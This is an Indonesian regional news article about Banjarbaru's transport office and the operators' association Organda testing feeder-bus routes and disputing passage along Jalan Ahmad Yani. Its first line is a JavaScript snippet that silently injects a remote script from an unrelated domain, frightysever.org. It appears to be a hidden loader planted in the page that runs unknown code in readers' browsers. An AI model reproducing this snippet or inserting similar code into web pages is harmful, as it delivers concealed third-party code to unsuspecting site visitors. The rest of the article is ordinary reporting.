(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Perhubungan (Dishub) Kota Banjarbaru bersama perwakilan dari DPC Organisasi Angkutan Darat (Organda) Banjarbaru melakukan uji trayek angkutan feeder, Kamis (12/9/2024) siang.
Mereka meninjau tiga dari tujuh trayek yang sebelumnya ditetapkan Dishub Banjarbaru untuk dilalui oleh angkutan pengumpan bertagline Banjarbaru Juara ini.
Dari tiga trayek yang diuji, Ketua DPC Organda Banjarbaru Helvin Diansin mengaku tidak mempermasalahkan beberapa jalur yang ditetapkan, asal tidak bersinggungan dengan Jalan Ahmad Yani.
Baca juga: Dirut PT BSB Tersangka Kasus Pengemplang Pajak
Dari hasil survei awal, Organda Banjarbaru mengaku melihat banyak jalur yang bersinggungan dengan trayek yang sudah. Serta ada beberapa titik yang menurut mereka tidak harus dilalui oleh angkutan pengumpan untuk Bus Trans Banjarbakula ini.
“Kesimpulannya kita minta semaksimal mungkin Jalan Ahmad Yani tidak dilalui, karena akan berbenturan dengan angkutan kota hijau. Sedangkan feeder ini fungsinya mengangkut penumpang dari dalam ke luar, jadi kita minta maksimal tidak melewati dari jalur angkot hijau,” ujar Helvin Diansin meminta setelah melakukan uji trayek bersama Dishub.
Helvin menjelaskan, jika angkutan feeder hanya melintasi Jalan Ahmad Yani kisaran jarak 300-400 meter saja maka tidak menjadi masalah. Hanya saja jika melebihi jarak itu diakui akan langsung bersinggungan dengan angkutan kota warna hijau.
Baca juga: 1.098 Santri TPA/TPQ se HSU Ikuti Wisuda ke-35
“Kalau selintas hanya berkisar sebatas 300-400 meter tidak masalah, lebih dari itu jangan,” ungkapnya.
Begitu trayek yang melintas di ruas atau jalan dalam, katanya, tidak ada yang bermasalah. Namun, Organda meminta Dishub Banjarbaru agar mengatur sedemikian rupa lintasan angkutan feeder pada jalan-jalan penghubung itu benar-benar efektif mengangkut penumpang.
“Seperti beberapa jalur yang tadi dilalui feeder itu jalur hampa, tidak ada penumpang dan tidak ada perumahan, contohnya Jalan Palam masuk ke Jalan Abadi III itu tidak dilalui, harusnya bisa melewati jalan itu dan keluar ke perumahan Wengga Kuda, tembusnya nanti ke Rumah Sakit Idaman,” jelas dia.
Baca juga: PPK Landasan Ulin Tetapkan DPSHP 56.449 Pemilih
Dirinya menegaskan jika nantinya ada angkutan feeder yang berhenti di Jalan Ahmad Yani bagaimana pun itu akan dipertanyakan.
Meski tidak ada titik pemberhentian di Jalan Ahmad Yani sekali pun atau tidak ada aktivitas mengangkut penumpang di Jalan Ahmad Yani, pihaknya tidak memperkenankan angkutan feeder melintasi jalur itu.
“Kecuali seperti tadi dari halte menuju Jalan Golf melayani ke dalam dan kemudian keluar di Jalan Kurnia itu tidak masalah, selama tidak mengangkut penumpang di Jalan Ahmad Yani,” kata Helvin.
“Pokoknya kalau dia tidak ada pemberhentian, dan walaupun tidak mengangkut penumpang kita minta hindari Jalan Ahmad Yani,” sambung dia.
Baca juga: Jaga Kesehatan Pegawai, Dinas PUPR Jalin Kerja Sama dengan BKOM Kalsel
Sementara itu, Kabid Sarana Prasarana dan Transportasi Dishub Banjarbaru, Edy Sabara mengatakan, akan melakukan evaluasi kembali untuk menindaklanjuti hasil uji trayek angkutan feeder hari ini.
“Sesuai kesepakatan tadi, yang jelas pertama kita ingin memudahkan akses masyarakat yang terbaik dan kembali sesuai ketentuan,” ujar Edy Sabara saat diwawancarai, Kamis (12/9/2024).
Baca juga: Saidi Mansyur Kukuhkan Perpanjangan Masa Jabatan Anggota BPD Se-Kabupaten Banjar
Dia menjelaskan ada beberapa trayek angkutan feeder yang berhasil disepakati bersama Organda Banjarbaru. Sedangkan beberapa trayek lainnya yang bersinggungan dengan Jalan Ahmad Yani akan dievaluasi kembali.
“Jadi nanti ada beberapa perlintasan di Jalan Ahmad Yani yang akan kita evaluasi kembali,” tuntasnya.
Dishub Banjarbaru menargetkan evaluasi trayek kembali dilakukan bersama dengan Organda hingga akhirnya angkutan pengumpan di ibu kota Kalsel ini bisa benar-benar beroperasi. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Sumardi (63), petani dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, JAKARTA - Sidang Praperadilan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor mulai digelar di Pengadilan… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - Memperingati Hari Listrik Nasional (HLN) ke-79, PT PLN (Persero) Unit Penyaluran dan… Read More
KANALKALIMANTAN.COM - Kebutuhan masyarakat Indonesia untuk transfer ke luar negeri semakin meningkat. Hal ini karena banyaknya… Read More
KANALKALIMANTAN.COM, JAKARTA - Menyambut tingginya antusiasme para jurnalis dalam berpartisipasi pada ajang PLN Journalist Award… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin mengevaluasi beberapa hal pasca debat perdana… Read More
This website uses cookies.